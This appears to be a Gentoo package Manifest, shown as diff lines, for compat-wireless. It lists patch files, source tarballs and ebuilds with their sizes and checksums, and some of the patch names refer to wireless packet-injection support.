+AUX compat-wireless-3.5-grsec.patch 14300 SHA256 ad7cdbf8fca6d3dbe9c125b2b9be1f88cbe3e99bc7dee83d6b2797873b7f9922 SHA512 0cc019cbcfc74135545fdf706b5db222c50c95a3b3e9c16b5e2db219365a328ba1f25a50512734fc0b4f8866db7c99ccc721d04f35df0e7ca376bb08369358c0 WHIRLPOOL 7c4595fe92afd4635e355773bb20ace6810a51880f3495a979c6e360e64cc3850c46acdf28cde7831f725c77ce15b7071b1be0382577fd43dbea5388de4b37ee
+AUX compat-wireless-3.5-grsec2.patch 819 SHA256 03add201c40734549319f927975e8bf65fc0d051072af1d2347525bc02da0cd1 SHA512 0471890ee528a15f14b3e6778b2eafca0e6f3b1ed3e7a98309986c57fd1de1718c60ddf716d80d74721b453a48c80ba9f0c1cef17578d1b92f56d4946e6edee1 WHIRLPOOL 1575683f1e368b262ab84d54e96d486b7de8c7dc455ff2a31e186fb3229590225a773e6935b120aa23f4650b145f5949077eb3672f0f0dab0541c1fc894fd843
+AUX compat-wireless-3.5.4-grsec.patch 388653 SHA256 0d7548626795d0c37899837c28a857dea08778cdc2c7a322021f1f159a486b98 SHA512 ab5776fb250778199807faca29d11a6af73b526828d401ec5f94facf3d55490172d1536bcb6efa0be002689be0dd6cc1c4d7d58d4d366d2c75f614fdaf45c84d WHIRLPOOL e6d94156e0f947924abd20fa604afaadafeb4a873efae744bb8c8d0f8db8a6764e944691f212fa1544a1fa1f15fb1563ec61380351374c6fd0ea50b730e51580
+AUX compat-wireless-3.6-grsec.patch 1763 SHA256 c50964800109ed1441e7831785760b9379e1dc7f930c60c89a5a0a80b76d45b8 SHA512 e7bf2da6445c60a991ef0d43f3a23f04a16800d4fd14c0d4ba02707fb27952d4492d03b6149215480400f9c5e9cbc8bdb180d55e7b853fb4e250269556e4e301 WHIRLPOOL 3df9f60d6fbc41e8f804cdd4b07c0afdb9856ac35ba3b0084b24448768dca91ba1e663c4eee56ee481f2d060fd07cb7624d9f69c4745c31de7200ca738b7322d
+AUX compat-wireless-3.6-zc-grsec.patch 391128 SHA256 6d7ab834cb27aa6b0fa2e2b35397e3ce886f4a79c1c775164dbd91e424a3ae95 SHA512 9570dae9c5fa43d336cb1f89ae0795283bc2b136ee04f7023ad09ce42d6069f12cfd7856a9efcfc4adba76fbc40919666d2217808051bfd44a07e9f4d4af2551 WHIRLPOOL 9600405dcefea384bcfcc254f27b428b8937638e6c15ad70c4d7f039f3b06523e8aa255b966e62a090c6fbc90dc81e041aef32f48c978e0c0da2025dcae3536f
+AUX compat-wireless-3.6.6-grsec-warnings.patch 6160 SHA256 393f78259f3ddc0fe5b0d7f8374260210ce1358e769957ed05ff16c141b68c6a SHA512 b00dba77adaea5d5f4440e592b226565a324738dbe9ebf160504670402daad678cdedc53c4c78bba1198704e715117aa48fb8e910773bd7ceff07a49f0c3c022 WHIRLPOOL e05b7cd3ebfd20ac655f8f1fb53274a405a599a0e2158ef44e14933faa1fbdee58162d911d7d2bac0898ebcac62349ac3e4da10fb2b08db92159bbd5aa15eb52
+AUX compat-wireless-3.6.6-grsec.patch 356795 SHA256 6ea9df3d99d2fe3c855cccb849812e1562634d1091b52287b623893d0907ab8b SHA512 2328497b4afefac7e1cab34f9260a83e0145e61d46171a78e53a2b2a368b25e43e72eb190a18e75ad6eaa978b00517a8d10606c8dd6e093ae3340f6df541a5c1 WHIRLPOOL 34844515231c7671ed8c3f301639b9b21104b4f4774e25e906e93185ccdf82c93cbc0147f959a88132c05c4d464c98d34454e83f62a12b9ff6d36b8480907af4
+AUX driver-debug.patch 2801 SHA256 06a37359ac7129a6f7db2f4e7f72d67c1f7014fd0adf439a89d119415a4316c2 SHA512 38947057ad7dd553f608216eb6858368a97d25a9711463ffb4c1ef477898300d401a8e7e881189ae85063f3e03ef1f432778db1a720b3f9fa04f14a14d2c1d8b WHIRLPOOL fb3ebc2e83a817454b0ec8e3a41ffba1c53fd32813f3cbd3aeda3452f9fc74267ffd6bec19a4a29160b86f4fed993bd0c665325b4e82edc091d3723dba05d510
+AUX failed_ath5k-frequency-chaos-2.6.28.patch 5787 SHA256 8e9e0888e890a2970274a7ba9d40d75e01ebaedb0e16700d8994b9ecfe921185 SHA512 160bea5dbc42b420690a6373666bd0e59eafb98937127d7ea0b02f380b6a49a78d732a773e63461a2ae6b1e882ba37201a6e00cc161b78ec9042aa8d377004cd WHIRLPOOL 2ee067b660c9c70faf28e3b6a4c94d93a4df7735683e97566e6726bbf22a9af9cdafc8e88b9dc7b73cddfda2cc392796195a4679d67c380807242a34c3270982
+AUX failed_ieee80211_inject-2.6.22.patch 772 SHA256 7403780cd3df720439f54b6cad88a803aacc0260af8fbbab0cfa25e523ae2ae9 SHA512 ed3279754e2bb97d79c61373903714d53790fa10201784c39931829ba9cc634bb7c9e3e4a17de7fe671545ba1c367ac5ae59d849c66325ad90f9b5f71134d26f WHIRLPOOL f61cc0e7e5a4505504aa5028a25871c0f8fafc3b30c9de93ff1d74cb0c42ca6758f005329b886183157c858ca09a6c48534c7e1c2486cd4fb9eb2ea78204e30a
+AUX failed_linux-wlanng-kernel-2.6.28.patch 11623 SHA256 fd4bd200617c5f28e3a0ae58e5fa02f80279ad98aafed6c2e3d5b249a9b617c6 SHA512 f0637ef31bd91be87d3c38b7c392ddecacf37890b6900c2f08a8fffc711516f59dfa1d0624c85684b2d7f42bd59adf8950975b7a6201e6a865442be1f6ebba5d WHIRLPOOL 365dff7960dc1040d86128a716fe16f012500784e14029a22d1285982308c1fa1258e2ba4b8873206bd4242b87b39865e42cce878d5bbfb1ba2f590c98ebec14
+AUX failed_openembedded-orinoco-remove-all-which-are-in-hostap-HACK.patch 6606 SHA256 6b761693587871591fc0ce96273d37f769f61d28f637c1692d931300c4f04504 SHA512 1e741e72bb801b7d63b3bf3fb48d434158cce54da9280b364e7686efeb4b17d48f2579cda95387ad81735dca46c73fdbe19ff9ad6a68c9ddd424c8211d1190f8 WHIRLPOOL 85a845eaf54fb57c2e8842b4b93dbc8856be9f9a044188530b0faaf1a9eb44d772e69ff0f72f661a3865768fe1a17e56cd072d9bb7b38e76675a17925a5c75f4
+AUX fix-typos-2.6.35_rc2.patch 704 SHA256 8319c6e70cf5c7a9d6b43a0bd7699c67504584ddc1d6d70ba4bf87625d2bb1b2 SHA512 8c417d05dcc1aad118b1b8ff43a60c718fdf02204f8cdbba1cc64c6128ce2d8ffd3216373979a30370d8ac4fef618e89e92ea23bf10592be9c65d465d1acfec1 WHIRLPOOL c7dc99c677754355af46739e1caf05826d554785ea3e559322b0d88541d3fb0eee2829c3b66cf70e57302e8c1e1a9cc40aaa5a0a9e03e4be0efa3bf135e6ccc2
+AUX fix-typos-2.6.36_rc5.patch 479 SHA256 8496796f97cd3074935623c59e155333164588f24556ab7c45bf3a3f71d20bb9 SHA512 95c21113418d4624e4cfb0cd87f3883e76d8726e9e219c23464c29d3bfcc2f3fbf195cecf6e94c0ed98e8e33e4809e3ab15aa916e8b5bcc34733ca49d22e1e2f WHIRLPOOL 06d2a9bbbd84d277968f5d59e39fc5cb5a842681dc6672cbf14dea3780b0fa674593257ccb4d3f3df18f8420f5038095f8df674e69daf714f46842e3f749310a
+AUX force-enable-new-ralink-2.6.38_rc3.patch 769 SHA256 fcc7fa9a0f94776b263ac2215f7eb67c943840650a631dd9ca0171adce63dd74 SHA512 6c4540f5555df44a21550547b0b70acc556d39d8517790df4a3d9b214be7a7ec958ba440b8ff6a7cded44eb753f15b5597a22b61f015279e6806e361fbae4028 WHIRLPOOL 2f91bd03a5615cd018e7b2829fca7e4d1fd86d33c86d5f5222cc68c309065833d5a2148bbfb75c75c33ab326f7fc8e690df390a37ff1e5f6232dbe3656fdfc70
+AUX force-enable-new-ralink-pci-2.6.36-rc5.patch 529 SHA256 ed23620a9682c8023d5095007cdc0f7e2602e8d5e580faf446ad9189300ca17e SHA512 1c743c82368c2affa18507858ad4adbbc4b886f15f0284fe5c65089d90652fd4014d0ff1421dddfff9f917fd4c5560b792af3efc1f462e44140e0c6f331ed55d WHIRLPOOL 5fe037c49d7afa33500dfadeb44d845235dbace5806c1514f9298f87ae6f05e9d4178aa318b6624fd61a8b054c967c59002c3e18f3f195231bcc36601b40247f
+AUX force-enable-new-ralink-pci.patch 371 SHA256 5ca2668bd930d2bba7eedbd78f2d538bf1a2ba3c8e1deb60af77580e66078a47 SHA512 cdcfb36e7c95d0f3e5f94ad0167450f426e4e989d9c2284de85a122a4610b5a7244b4c40cd0f845095e55bfb7293eed3c2128186bb985a94127a177085b8d6cf WHIRLPOOL 04150e4b24988164ce9c61c6c209ae2db3f325bd350fd5e5b94f99c9d40b9241c758aef38fdaca0b270c836cdce8167b42e4a12a13c684465939392bd9181c95
+AUX force-enable-new-ralink.patch 558 SHA256 b6a411562c8c0964d36817f4d276a8db2c3169d6044b648650eb8b742c2dc898 SHA512 225688766644fb5307c3a2fbb9233b2d56ebc02b0f1f403872ae732e7f216c4eafd771342cb20008cd9a306349f0d6ac5f614d40ad3832a303f76983e9317da4 WHIRLPOOL e317fc0f7433c93e12d79fea9536ce38125e621ca312123b2fa5c04a39ad13726bb5ea274ddf053bc7d58d042e11325e02039473da22b352f340191aa6a5e9a9
+AUX ipw2200-inject.2.6.36.patch 4139 SHA256 a23d46ba2183eca15b2afc9f88b1570589f51d67488cea5f514d534e218d6570 SHA512 772b858d09d0c2dd5ca061a2bc62c73d2d3c177d017db6f96d9bdbe42b310d1a8fb2de002711b9b80e1db3166ab4c07cb2cf14cdce1741af1f6a754f0f3c1e1b WHIRLPOOL b513803d8f600a974969e19d7478f3b9c8377306bbb723fe176878ba1a69269d94c80298b6f7249fd1e8b3ba7efd57ce76e65909cb709d0fcf2fab0405110786
+AUX ipw2200-inject.3.4.6.patch 4173 SHA256 0b649bd7b6d2bf22667edc96949b5ab92cc7fb5c543b4385c17c5e0f47fe4109 SHA512 ebee3efda7b94898ea18a89f57c515d5237ef3c2a1eaf0bd13949ec4663a600eadede4655178355ac3f5b8ddc2eccc2cceb88eba0281ed3f614ada186a041463 WHIRLPOOL 15d94b3176719d006363f4d42a11c505643fdead8d521ccfb149cf5eee8851488aa006d4f8c750ffb5e81b23ff03d275e5fde781505e508467ff76303e612570
+AUX iwlwifi-5000-exp-firmware.patch 475 SHA256 7e486f5d28cfaa50a98d486f6456c11bebae25f9dd7fd4b09fc8e9b12517efff SHA512 02ce73a889f3fcd72b9463ad2a09a7d925e48538562f50935b12de88c3a5d9567c81d8a1f97d42bc908e5dc68b1cd40b8a07417b1518ea976d75c60d923ef2eb WHIRLPOOL e17c9236f8706534bbb9fb0e455a29d41fc3292a2edcb6fee2a4eb499a30d2d48883afe5fce51ed9ee1338769fee6bbe6b8f346c730223737ab27004a6f4d26f
+AUX johill-negone-paul.patch 2987 SHA256 0bcc6aaf343f3faaad09da3abdbf4308985dfc084c4213d8acc32dd1c52aab29 SHA512 e75017db29e79c2f49a9ddc3f75f0ca18372bb2f2547b57fea7378321e700fc2890505d7ba9f819dab77af89423978700c66abf7ccd802befe0bc136f4ca737c WHIRLPOOL c6f8873aa5775076ebfb90248447b8f5f2e32cd2256ab7ee5b62c0b2a9194a48d7425d060e51934a2f18ebe3a0f53eefdd5ef38629d2fe4c77e49f6d6aac2dfc
+AUX johill-negone.patch 2972 SHA256 8acad1b386c6c849938a62a4d0216f8960f932ed3298a0f33739be39dce9fdc5 SHA512 4632c30e21763ac5f7a96339b034db30fd6b5b025b41b7e08558f4d34181c023acdbfef62510465511464edaa8c649da609d1888c51dd1914b1088c5a8e1092c WHIRLPOOL 445930f31f235478e094d8199fe2ec0d8c273e644875d87685d262a813d5fbb621766290aa7f38f48d453032b1ea7ca3be933d3f6992fbf9c5d43a59597fa9b8
+AUX led-oops.patch 733 SHA256 381f52b08f1b4c268fcc4ad88b0059d27b438bdab6acd4d54c882cc2505c99b9 SHA512 35d40badc12cb871ed5b6d4891e5c1e6c4d97d7f2c0d15735e1e22ff7f3c768084a5dc51dbfe00eb115af9f6545b763ebb3e2b00a4e90ff64832a74e73d7c994 WHIRLPOOL c9b53b7a2633a7d229f2b045c68b2264282eb73e7dd91ce2b27512e6f154608af1e664e0c5c7928b1f5a668b21f118c297e117ca1cd8d9f0159be7bd0eb5c245
+AUX leds-disable-strict-3.6.6.patch 799 SHA256 e1b5947608d9c53263efd76aed404eb7e4107d81669faeb484f5d680e4cfb570 SHA512 6373efc6697b4589c15c3cd2cfd8f3faa06fe90eeeb4fa9acaf187ecc682fac394444949dd26c2dde71c0f45aedb1198374764b580b824ddc6bc1e937273b5f1 WHIRLPOOL 40bdef714aa0ff4069bb50abf434dff88610d97f570b80f36622d29a43301bf013a90e90cb7f3f8044c2bf53a09154b1033a6f53b1edf186513452fdb681d55f
+AUX leds-disable-strict.patch 1614 SHA256 58170c088e6d4d78be497d3efe808252df75d660b4ae1fa370d3bbd9ee6299f2 SHA512 d93685e46d0f680fb338cd25629bc58f940987be37366f506204ea16ffcfcce64292adb1781b30e4de875172ab787ea171768640ecf595f0d0a2a268520df299 WHIRLPOOL 1acf27575e81fd1c3386a7fb1d1b6aafb2357dc87248c040e6ab7290344b97bb9591f384bc1cb92ad4d991ad34a3cba8f5c0369db8d7234a1a71aa806a56cabc
+AUX leds-disable.patch 1232 SHA256 55080ec9838b3eac1c06bb0b360374fa8170266ba0d85ceb1a88c7caef97ace0 SHA512 a57485a8e8ee598f9787a758ffc2bb2506eaee0be14b0db743c2ccdb73550710141b09aeaf662ed3742b1517340bf810c76f4ebaba8a646dd0d1f420df2d07f4 WHIRLPOOL ff244c6fa17e68a112c0cdc2e618cee2a28e7fb06c2ea209a8b51bf4d5de5b5c06057835b69e5ac908bc70d2a793ddbe5869996871abdfc69d75f13a8e5c761c
+AUX linville-aircrack-ng.patch 1806 SHA256 d806d9eb1a402915fcf0daebc359902ea0ffbfc2303e2e77d38df2f2d8da215f SHA512 e1655823a809a7056ae9fab4ccafeef378a47b9aeb6148c71ad7e93d45807e30bd86da9df1520b1dd6016e47bba86959c37b3533088303631771120757b20c2a WHIRLPOOL 8b94bffed19665fe4921a8c44415b207978ac505dfe191a0c1bb0fea5b6523b6a827dc49ffa00a101f94ff309b17286a81a3ed26a75186ce7a3abf771f01dc94
+AUX mac80211.compat08082009.wl_frag+ack_v1.patch 1049 SHA256 e04ed9997e1578cc1becd4ef9d9f2f6f606590aa91a56e42835963913e1b0f52 SHA512 3276224127b3cd1cd02ffa877213de68e4d194bb5a81a90235b93f921bd4e5f916d8b6006c3cd9be7309ea86599599d6f3c7df6d8a3fe2d62559cc7518b799e2 WHIRLPOOL 8dd4739b52b0bdfdc892598588a34b28f4c8164fd2df9cb5568a2a2785f102651323afeab1c31d63854bcc18b27cde042d0c38f502572b7d6814b16b1ad61c31
+AUX make-make.patch 500 SHA256 b0fb357e356e655974dd2652c311f53d6ae32a096f0c7f96e61482a7f5acd7aa SHA512 57bea6ea720a38dc83873e5156b0d2c652776a6664a3214bd63561997f0810966bff0d44d23501303ec49f6f0f79f76aaaa657cfce43982dac71e085e6e3cd40 WHIRLPOOL 83b5f46d6e1e3bed18bebee1208c538169e8d12b2f910de62c4e04cebae8a411d1a4d48f97125c8d1c2f1bf1456560eff278c8f62f2eb8728bd3aa997eabe448
+AUX orinoco-remove-all-which-are-in-hostap-OFFICIAL.patch 12945 SHA256 38705e63f5034052d48c50a29d5a8bf114a692ce6e76a53b73371180d0e0f14b SHA512 89cd69d3631d815201b2b6aa9cc3b4927afbf6d002e6265ed00fd939d05e4cc9775f5e1dc88345a4d99e374487444eaaaf1ea636b1638115bc470368ad085a60 WHIRLPOOL 963ea68645ab2d4c1ae0ed39e9c6187813a44d4cf4232aeca98d76a0bc3b6aead70c1e91e96dd0fd417b82203d0594d1c50cc38ffc3ed02b24500d2b7a775d43
+AUX reinette-test2.patch 1460 SHA256 1de6d6ed109c4c9c23758c7eb02aeac2844f680cfc3c1e568c53f366cd3f4727 SHA512 32239a4b3dd990472bc7ff9bb8ab5815509ee9963ef0fffa1a664e1c858c96bfa358b8f3d52c131218f18587320df536444ebf8778adb59c15815c29ecb1cf71 WHIRLPOOL d1ba16776af0f5c15a6d577b16051912a97516e4c55cc9fa5c75638384c645af6331786a66a01b7f89e49eaf96e306cf022f91a0a289b4bab16936e1b907b3a4
+AUX rtl8187-mac80211-injection-speed-2.6.30-rc3.patch 1179 SHA256 bf6846089eb3d8cf7ebe119b4ffd1c32f7075a98d403fc8f96a5b49017c385b6 SHA512 881ca3e28e65f4b92e694ec54cf74d2e81d7b9207f6e81222dca0a91cac07d8f741c9b27777c88134428787b72e86b51f684209f593fd6a1661ab2366fd31370 WHIRLPOOL 23a370d258e19154637a5efb97b66a57bdbc39b9a8672e0e8dbd250d41272a92e56969dd94620d3a92a751c68feeab5e60962531b4bcb277c954569d31942ade
+AUX super_secret_patch.diff 13499 SHA256 f4bd054b3348e98700e4481f50a1d809f2d2c89bfd24419b4d17e01bf6a0168e SHA512 b1fc070a09e2b2c8a555cf6380e462a9f5a0149e94d6a82019ee325d8e0e3c20b6bf755d83f946070f81e59cec930577e277b6c9322b543b2b990f6258b4f6c5 WHIRLPOOL 45a0e86a908d18bfc9554208cd2054a40b2bbe4a5b972ab5c4e1a26656aaadc24497090658737bdae1ee640c2ca847b8c6ecb1c7129496560968de2395006571
+AUX ubnt-wifi-station-ext2.patch 1006 SHA256 c0ebdd30b5ef141e39977fd529a4bd3e6062b20984c0eb53836fa4b0fb6f4b1e SHA512 06e5dbc9af37da946ef3247368703d460f8df7febc792c9da95fbfc6486dfd8ac49df1926e458e9beda23954c69ec33d98562c03904a6fd0cb6f7d40ba276129 WHIRLPOOL 359817e899e618056011e07eb94dffd62ab2636450ba3fd32790d6753a3b70d7a055d866521b7c815a5d2d2fc11d6d223a1577b41b8f2cb81ece9272610a129d
+AUX whynot-2.6.31.patch 4272 SHA256 a1839efde553fb6c78b7121f94a3dc5401c146f9ff3e017e61de1b0298f4b371 SHA512 f972946999fab0a16f05ba3508bb4d54d70aa0cc2a1d1294dec34465c27ceb706095507e273b7b96e36014531d59d6ce5def2b23b7f52e93ee3fe8bb6a79a80c WHIRLPOOL a1784771b35ae15748423003b8eb7fab0e8aeeb2919ac3a43581ce0e8f1d4600f990b70f131637270491f4c433c0d96f6909e96ea377adf2aca0dc94c23f7f2b
+AUX whynot-2.6.32.patch 666 SHA256 07cfc03d0ad5c47bec08d320afa63c79c0e6be9109dcf42b9811aad10bdc9c63 SHA512 8198dec59c952b641724a7fef8b001a640f84aefdc37651c8701ca6c37f67ea8b6a45233c404b5ee384d649f823a64d61d790bb8eef97837803954706de37e4b WHIRLPOOL 7a497f4861d4ab57f434a6717fa3460d897683c92f14e92b4aebbdf189f126cd4c20f7df506f959dd5a05504733fa6d23b56aae1d614c45a76035e6d4d63dbd8
+AUX whynot.patch 4106 SHA256 956cf3a0a8b8e1f0f0e3df985e351799f325a44e4cddf042d677a9e8109b7c9e SHA512 46e739fd16cc2067ec165f3e65ae711e75b20327768a67d09b839a42bdd128751f5727d283e851dc696f6183b4d8d5e752c2f786da70a186302a390f78497a88 WHIRLPOOL 9ea955e201d50d39fd1756f954e2b66fb2755b43cd166d6846ce888f433e4045c001d0c28254d4d0ceec7e5ff4c1373280e190c85986928e64f4bceb3569bdc8
+AUX wl1251-inject-2.6.37.patch 47143 SHA256 04660a1f7fb241aafeb7fba3a7791cc31fd74efa75fa73616b3abe6b39f89b36 SHA512 7a17230572f0de8ff134b051edd8d65a48d91c61cbe850ee4e4cc04315800619fd29a8f80d83eb5c771639277fe3707d05dcadea76578e95eebd3e901966da28 WHIRLPOOL 4a7daab5281f272d24bfc48a0f9a642334f28a31848d77d411cff678513cfcef34f34f1c33c45619706728263c26bd8d0a29afb9db867a646a9dc5d4feca5775
+DIST compat-wireless-2.6.32.8.tar.bz2 2007299 SHA256 d48a86e82fb314b96097d437215a8c85fe5072d00586a00ef9950d26ba1e673b
+DIST compat-wireless-2.6.33.tar.bz2 2266149 SHA256 740c8749808d82495c40a3139fc12e751463a82eb949804dfe96e166f0848200
+DIST compat-wireless-2.6.34.tar.bz2 2370805 SHA256 4e4af0df6c74461571925bea8f315f86a6dee3f4a74bbafed7950fdf30fdddd4
+DIST compat-wireless-2.6.35-1.tar.bz2 2548928 SHA256 579100ac48f459aa1ec71ae183e37ab91475109081a17c7b45fc5af35ed3c3ec
+DIST compat-wireless-2.6.36-5-spn.tar.bz2 2664927 SHA256 da4362445405bf7de55947b79ee72a3a9c56cf4a91e3eef74f7896aad59b02df
+DIST compat-wireless-2.6.37-4-sn.tar.bz2 3874734 SHA256 95bbc94885bfbccb50d42b4d677f1f1442713fc5db08905aaa05e2955b34b133
+DIST compat-wireless-2.6.38.2-2-ns.tar.bz2 4060490 SHA256 f77b913f90bfc40233d7c71e2c274afac1134997a9257116521873ca1a5a0f79
+DIST compat-wireless-2.6.39-1-sn.tar.bz2 4333239 SHA256 8fb43a233e91c0f3e48ef7428d2a4ee9d6bd77ce1edc1d248a9409bcb985ed71
+DIST compat-wireless-3.0-2.tar.bz2 4238914 SHA256 492f9b5232cd061ca96c26718f5e4a98b9311f8f551713727fdd4fc0b57af79d
+DIST compat-wireless-3.1.1-1.tar.bz2 4289900 SHA256 3ce364fe5acddd6fb7ebf0b74358fc489487384ad34d5247c60b073745075d02
+DIST compat-wireless-3.2-1-s.tar.bz2 4107365 SHA256 b6d70ba8ec268d4d0cabece0ff227e1b1aaf7fe89e5261bd2b0dbfecad5cf4f8
+DIST compat-wireless-3.2.5-1.tar.bz2 4102350 SHA256 a7bc714c8e438dea348a154c6f4ca583cdbc5155467ec9ae8498a90c70f89658
+DIST compat-wireless-3.3-1.tar.bz2 4244971 SHA256 d676ecbe8c8c8257c5af1a7feb3c4e8372bf0984807bbc89c98b4df516d6231b
+DIST compat-wireless-3.3-2-n.tar.bz2 4156020 SHA256 fdf4801775f7ad7692b9c8ee8b1712a16e198d6d810273b149be71c8e4663b4f
+DIST compat-wireless-3.4-rc1-2.tar.bz2 4274601 SHA256 e8b00297b93d3af4397a4621b8f74dca26872cd2e2e5fd3cc398580d809a5089
+DIST compat-wireless-3.4-rc3-1.tar.bz2 4275635 SHA256 44a2a890d389216332c862e4175d054e43dccb8734f7073202ab951ad69aed99
+DIST compat-wireless-3.5-1-snpc.tar.bz2 4506539 SHA256 29b8784cc993f5797cbd3a09acafc4a2446987090bcb8f6f8f6b365b07fa3163 SHA512 74315d2000cb7507c4f95b2c0fe34646d24b6d4bf6e5b27eaa6e492cbd5d244d416867cf4cacbcc98add39f17634ab0476f5b879e81840529bf5f872c2b0e4fe WHIRLPOOL dc94c9072fb6d8c4ae5401e12e9cae8c0c058e3b9ff1a05e4242f65d19729d9107273cd4d97c5ded7bf4dce1c53c668fdd20bc8e94ca4981898d6a94c362c674
+DIST compat-wireless-3.5-rc3-2-snpc.tar.bz2 4496631 SHA256 d741811bcf1609ccbb92b144dc4fd0f4e6efef626af272bcf16bb36e3a73f557 SHA512 30a8b14c17c78f5d60cf2e0b00e651d2bf2685e0a81ad96b7cbf6a8ba340e705097211467465751d09fd43e6eb872b0dc085ff92d073bb7fc8746bcbd0d89471 WHIRLPOOL 67cca3a4ada6af184d9e9ce67ff9db4f0cab4731a51c81ae524dc87b7a6715a4a0081758ec50c4cb5f119f982ed4aced006062fe87be229a6e427eb6c7aff699
+DIST compat-wireless-3.5.4-1-snpc.tar.bz2 4444641 SHA256 0689b3c52655538e045c1f715d2715619e625330241b8e50df3f6e971f848d51 SHA512 58c502668c7a776dd6c46b39766e2dc6f74a285f4ee176d6852c22e9e19d95bc86b8ec1b784f5b4a7ffe5816d2c6bfe6bfe2132d7b9fe1e11fb6377122f64f67 WHIRLPOOL 366a72b8d414950ed855d68caea838bf04e54b047e6075188ba5d3fc0be919cf859ec3fac1dcfe90939f4bb91fe3dbe18ddc5cb11fc323f7e2a45d2a3f6a7f98
+DIST compat-wireless-3.6-rc5-1-c.tar.bz2 4451239 SHA256 8e834f513760c5cf22fec2155b0044e6ec375ee6cb4592b484bb312e7fbf6bde SHA512 bbf9fb7a4570264ab49f6fed7494b907fd5153854df5d18df362a7a9f9ffdc36c7c305be37ff69669533e891777e020ffee5842b6b42374afcfedf4d09939efe WHIRLPOOL 2d24db5cc25f0cb8a8735b962d0a980e6b0192dff00a0f7f3bfb93459b8a3d0f364a453405db1e91b84b268a6567f2d4f3ac0d85dd6a52600cc2d1df90757f18
+DIST compat-wireless-3.6-rc7-1-snpc.tar.bz2 4476642 SHA256 a6dddad3c5b11323d1220514bcf90d416809a7c79aa48206f8833294f917ffad SHA512 e937cf1f35150225e11b5d5cac68f66d1a27396392dec29e5becb297b344798aaf33b0d9f7a0526b3a467cf80190b7505e4468523ed223218b0d1b73af24c791 WHIRLPOOL 9df331c460fba824936a273075e40360b74dbdcc7c1fd4ec29d665b97cbfa3d2d303393bfc022a87720aee7662f58106ba3f8c7713b1cee09e1955ee63ab85e9
+DIST compat-wireless-3.6.2-1-snpc.tar.bz2 4572972 SHA256 bb968ef3575193d378bc83612899a8c992050f36ea3a2d0772fc6fcd53b79f83 SHA512 961d3ea77ccb813ae8183dbdb3214ffbf03e0fe3f2a584261eb36515f810ff98dfdfb885c19cef9358aec084e65b6caa350de4e48dbbdcea357a8b5766797a67 WHIRLPOOL 274ae2d8af2218aaa0b73f70d343c566283dcfd2f4dc5269e88fdf89680a6a5a0b1223efc2eb4c0f7eac6033bdc81222f36b7af243898721d8c422694ee5b8cf
+DIST compat-wireless-3.6.6-1-snpc.tar.bz2 4597715 SHA256 3df76268e9e09cac0214be4d048a18fb2baf58b896feebca3b42c88c50387cd3 SHA512 ae96538b0c8589200bae73dfed8a363b43048d61de949a58fcfd86a7c7af4d1bc97cae6f71a33e9e2c4cf9051d49fab192cf278154d8f17c8bffc3ffa5b08511 WHIRLPOOL de5bc105520c5f9df8fe1551bc667103cbb412ad4c25585968a12b591101b3fccbdf76e5adf218234d6f9b3d9974cda8234b12119c5775322b8f6b3e574389f0
+EBUILD compat-wireless-2.6.32.8.ebuild 2368 SHA256 705bb5ad89ec2433edd4252488b3e7322c5137c49520203a3cbea44314ab9234 SHA512 6b0b07c8ce7cf9bbffe0351fc7264ced050313a184a23868be81b3d57b8b8693fb3fc9e83c5717383c53eaaeef7221cad1ebcb6b9b8c21dbc3ffe30eded7e3f4 WHIRLPOOL 81121fa7a68691dd8db9d916360d8996c5666161ca37f4cdc629a881465dea2145d9374e732e4e84c070cb86a97cc9f9e9348999977d5fb1b885055eef0a087f
+EBUILD compat-wireless-2.6.33-r1.ebuild 2747 SHA256 0d425eec9472ed83cd1a29945ead1116612c938248c430653510011d56307a6b SHA512 0e738fb2b8faeae9b048274e8b0d6c903295683461008872a162ec30fb05ae5f244b3fe9c3a1f58800b76d46d9d41e9e2ac00c9a677ce0d8fe0f56e6625767f2 WHIRLPOOL 49b65789c947df4d86b38fc8b354d68636553d028f52a318bb72915565a7c335ba56182f7bed3ab6636cd325d9ff2c2ee70f8a48bc0f0369201f787df67ed79d
+EBUILD compat-wireless-2.6.34-r2.ebuild 3918 SHA256 a729ecc6955dac802ed9b1585f23a48c54fdd45434d2673930322c792c77e159 SHA512 e2b2e55e2ef0c814d16d59dbdcb3a18fa5505ccae794d5ffa7baaf019fc206ca9446d301a72d2f1c2d0ab04fdb9bba8cf302cd82b6353930e4c2e71fe9a72e71 WHIRLPOOL 1a3d2ab49d7a8b5a16f11953c87ba879cabacafcf7ba6cc3a969145cda0bb7f87fc7e099872d438d5c36f0f1fa8a2e908e627845ec8909777e1f4a28dc9c4b35
+EBUILD compat-wireless-2.6.35-r1.ebuild 5471 SHA256 25c0b5e0db7fe4d1e9942acbe7f0325e1ef8d7e92488f0f554734bca2d0e86e0 SHA512 986c5f7a8fe206ba08c1fe9ea67fd15729697a3df98aa3f654aad91f0994f072f74245770cbb43ed712e861e8779d7beaf4b96e8cbf98914ef84898199b2eca9 WHIRLPOOL ebc0449441adfb5291c66334cdfc0bb71c04f9bc7216062fcf9c9d81c35b08a2815efd3500b2cdb4a55f9db38f3866408eff31890c5d9954aaed40a7f198b747
+EBUILD compat-wireless-2.6.36.ebuild 5332 SHA256 52f02128f594db9950425aa03cd90cf9d5ff54d6475b25db696c58cd8c0a75d2 SHA512 6e762f0cfe590ba56557fb044ccf74496675409f3506ea3a4735a53f597befabd0db5a5ba475d1d3759dbd547115f685c55926c306950b535279a541a616f1b8 WHIRLPOOL 8d22f0604f1f754b610c1a06e0d36e4de41a37aa33f27aa158b133764c6da63f08e8065ad3ae376ccd0ae2afeb0369be6b4efc2226a396096947c4ee54e38577
+EBUILD compat-wireless-2.6.37-r7.ebuild 5443 SHA256 f08fb77d9972331aae217e050e034e3bfd17d933c5eb22a272d05c7022f70462 SHA512 b4444979bfe1836772b070dd4def2d49a00f413345abf10a09a544e509e418bfb8c73025411a4d0ba51cce81aceaceb7d105c194a38108806bf206fccfbf05a1 WHIRLPOOL c6fb723e48bd81aed620de570e4821c8ceee0f757080ff6eec196ca1ebb37e2a40cef15d8b9311bd9e48508efa6a538979d84221653c79ce8293c2a18a3c45c1
+EBUILD compat-wireless-2.6.37-r8.ebuild 5665 SHA256 e772bd9a4c2c39332e0844476a7d9f3452576736f6c072562250644e787350d0 SHA512 e1f4976bbc9c72d3b3bbeed683e3da51d525e7eefe96b3169998c365bcdc8bde9998987cb0aaad830aff28583f3523e3a5cba2ebd3dc7c93e960a720fbac0a72 WHIRLPOOL c7fc58e2afd6449d387bd8c242c6075ea31c2c5384d501044030aad8bf721c74d6adb6a24fd7a2db67aa0ca0817d2ad646679d5048a7d7bbb3cd16e4ad525813
